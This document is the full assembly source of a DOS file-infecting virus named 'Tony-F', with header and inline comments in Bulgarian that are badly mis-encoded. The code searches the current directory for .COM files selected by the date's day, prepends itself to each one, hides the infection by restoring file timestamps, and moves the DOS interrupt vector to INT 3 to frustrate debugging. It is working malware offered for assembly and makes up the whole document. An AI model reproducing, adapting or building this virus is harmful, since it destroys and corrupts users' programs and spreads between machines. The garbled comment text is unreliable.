;------------------------------------------------------------------------------; ; ; ; Ви░│▒ Tony-F ; ; ; ; Tony_F е па░ази▓ен ви░│▒,дей▒▓вие▓о м│ ▒е ▒║▒▓ой в ▒ледно▓о - п░и ▒▓а░▓и░ане; ; на за░азен ┤айл ви░│▒║▓ п░е▓║░▒ва ╢┐ла▓а ▓ек│╣а ди░ек▓о░и┐ и за░аз┐ва в▒и╖ки ; ; ┤айлове о▓гова░┐╣и на ?*.COM, ка▓о ? зави▒и о▓ да▓а▓а. ; ; Tony-F ▒е на▒▓ан┐ва п░еди кода на за░азени┐ ┤айл, ви░│▒║▓ о░ганизи░а ; ; ▒об▒▓вена п░о╢ед│░а за об░або▓ка на к░и▓и╖ни г░е╕ки (век▓о░ 24h) и не п░омен┐; ; да▓а▓а и ╖а▒а на за░┐зани▓е ┤айлове. ; ; Tony-F нами░а о░игинални┐ ад░е▒ на век▓о░ 21h и го по▒▓ав┐ в ▓абли╢а▓а на ; ; п░ек║▒вани┐▓а ка▓о век▓о░ 3, ▓ази опе░а╢и┐ п░е╖и на евен▓│ално ▓░а▒и░ане на ; ; ви░│▒а ▒ деб│ге░. ; ;------------------------------------------------------------------------------; ; а▒ембли░ай▓е ▒ Turbo Assembler 2.0+ .model Tiny .code VirLen = offset EndCode - offset Start ; Д║лжина на ви░│▒а. ;-----------------------------------------------------------------------------; Org 07Fh INT24 db ? ; Т│к ╣е б║де на▒о╖ен век▓о░ 24h. Org 0100h NewDTA db 15h dup (?) ; С▓░│к▓│░а на DTA. FAttr db ? FTime dw ? FDate dw ? FLen dw ?, ? FName db 0Dh dup (?) ;-----------------------------------------------------------------------------; Org 100h Start: push ax ; Запазва ▒║д║░жание▓о на AX. ;...... Т│к запо╖ва ▓║░▒ене▓о на о░игинални┐ век▓о░ 21h в ▒егмен▓а на ДОС mov ax,1203h int 2Fh ; П░о╖и▓а ▒е ▒егмен▓а на ДОС. xor si,si ; О░игинални┐ век▓о░ ▒е ▓║░▒и по п║░ви▓е Again: ; ▓░и бай▓а - 2Еh,3Аh и 26h. lodsw cmp ax,3A2Eh je NextByte dec si jnz Again jmp Done NextByte: lodsb cmp al,26h jne Again Found: sub si,03 mov dx,si mov ax,2503H ; век▓о░ 21h ▒е по▒▓ав┐ на м┐▒▓о▓о на Int 21h ; век▓о░ 3. push cs ; в║з▒▓анов┐ва ▒е ▒▓ойно▒▓▓а на DS. pop ds ;...... П░ена▒о╖ване на век▓о░а за к░и▓и╖ни г░е╕ки mov INT24,0CFh ; С║здава нов век▓о░ 24h - Iret mov ax,2524h mov dx,offset INT24 Int 3 ; П░ена▒о╖ва век▓о░а 24h. mov ax,cs add ah,10h mov es,ax ; ES = CS + 64 KBytes mov si,offset Start xor di,di mov cx,si ; П░е╡в║░л┐ кода на ви░│▒а 64KBytes rep movsb ; по-наго░е в паме▓▓а. mov dx,offset NewDTA ; По▒▓ав┐ DTA на нов ад░е▒. mov ah,1Ah Int 3 mov ah,2Ah Int 3 ; И▒ка о▓ ДОС да▓а▓а, add dl,'A' ; и о▓ не┐ ▒е пол│╖ава п║░ва▓а б│ква mov AllCom ,dl ; на ┤айлове▓е за за░аз┐ване. ;...... Запо╖ва ▓║░▒ене на ┤айлове за за░аз┐ване. mov dx, offset AllCom ; Т║░▒и в▒и╖ки '?*.COM' ┤айлове. mov cl,110B mov ah,4Eh ; Извиква Find First. Int 3 jc Done ; П░од║лжава на▓а▓║к п░и лип▒а на ; ┤айлове за за░аз┐ване. FindNext: mov dx,offset Fname ; В dx ад░е▒а на име▓о на ┤айла о▓ DTA. mov ax,3D02h ; О▓ва░┐ ┤айла за запи▒/╖е▓ене. Int 3 mov bx,ax ; Запазва номе░а на о▓во░ени┐ ┤айл. push ds ; Запазва DS. push es pop ds ; DS = CS + 64 KBytes. mov dx,VirLen ; DX = д║лжина▓а на ви░│▒а . mov cx,-1 ; П░о╖и▓а ▒е ╢ели┐ ┤айл на ад░е▒ - DS:DX . mov ah,3Fh ; Там ▒е нами░а ви░│▒а,а ▒ега ▒лед него Int 3 ; и ┤айл║▓. ; Увели╖ава д║лжина▓а на ┤айла(AX) ▒ add ax,Virlen ; д║лжина▓а на ви░│▒а. jc Close ; П░и п░еп║лване ┤айл║▓ не ▒е за░аз┐ва. cmp Byte ptr ds:[ Mark + VirLen -100h ],'T' ; Дали ┤айл║▓ е за░азен ве╖е ? je Close push ax ; Запазва д║лжина▓а на ┤айла в ▒▓ека. xor cx,cx xor dx,dx mov ax,4200h ; П░еме▒▓ва ▒е │каза▓ел┐ на ┤айла(CX:DX) Int 3 ; в на╖ало▓о м│. pop cx ; П░о╖и▓а д║лжина▓а на ┤айла о▓ ▒▓ека. ; DX е ░авно на 0 о▓ Fn 42. mov ah,40h ; О▓ ад░е▒а DS:DX ▒е запи▒ва на ди▒ка Int 3 ; ви░│▒ + ┤айл. mov cx,cs:FTime mov dx,cs:FDate ; В║з▒▓анов┐ва▓ ▒е да▓а▓а и в░еме▓о на mov ax,5701h ; за░аз┐вани┐ ┤айл о▓ DTA. Int 3 Close: pop ds ; В║з▒▓анов┐ва DS. mov ah,3Eh ; За▓ва░┐ ┤айла. Int 3 mov ah,4Fh Int 3 ; Извиква Find Next, jnc FindNext ; ако има о╣е ┤айлове в▒и╖ко ▒е пов▓а░┐ ; и за ▓┐╡. ;....... На╖ало на ▒▓а░▓и░ане на п░ог░ама▓а к║м ко┐▓о е зака╖ен ви░│▒а. Done: mov dx,80h mov ah,1Ah Int 3 ; В║з▒▓анов┐ва ▒е ▒▓а░и┐ ад░е▒ на DTA. push es mov ax,offset TransF -100h ; П░едава │п░авление▓о на ви░│▒а push ax ; кой▓о е 64 KBytes по-наго░е RETF ; о▓ е▓ике▓ TransF. ;........................................ ; Ма░ки░овка за ░азпознаване на за░азени Mark db 'Tony' ; ┤айлове. AllCom db '+' ; db '*.COM',0 ; Ма▒ка за ▓║░▒ене на в▒и╖ки ┤айлове ;.......................................; за за░аз┐ване. TRansF: push ds pop es pop ax ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX. mov si,offset EndCode ; См║ква кода на п░ог░ама▓а запо╖ва╣ mov di,offset Start ; непо▒░ед▒▓вено ▒лед ви░│▒а ▒ 100h бай▓а надол│. push ds ; Подго▓в┐ ад░е▒а в ▒▓ека за п░е╡ода push di ; к║м на╖ало▓о на о░игинална▓а п░ог░ама. mov cx,0FFF0h -102h -Virlen rep movsb RETF ;-----------------------------------------------------------------------------; EndCode: Ret ; О▓ ▓│к запо╖ва за░азена▓а п░ог░ама ;-----------------------------------------------------------------------------; End Start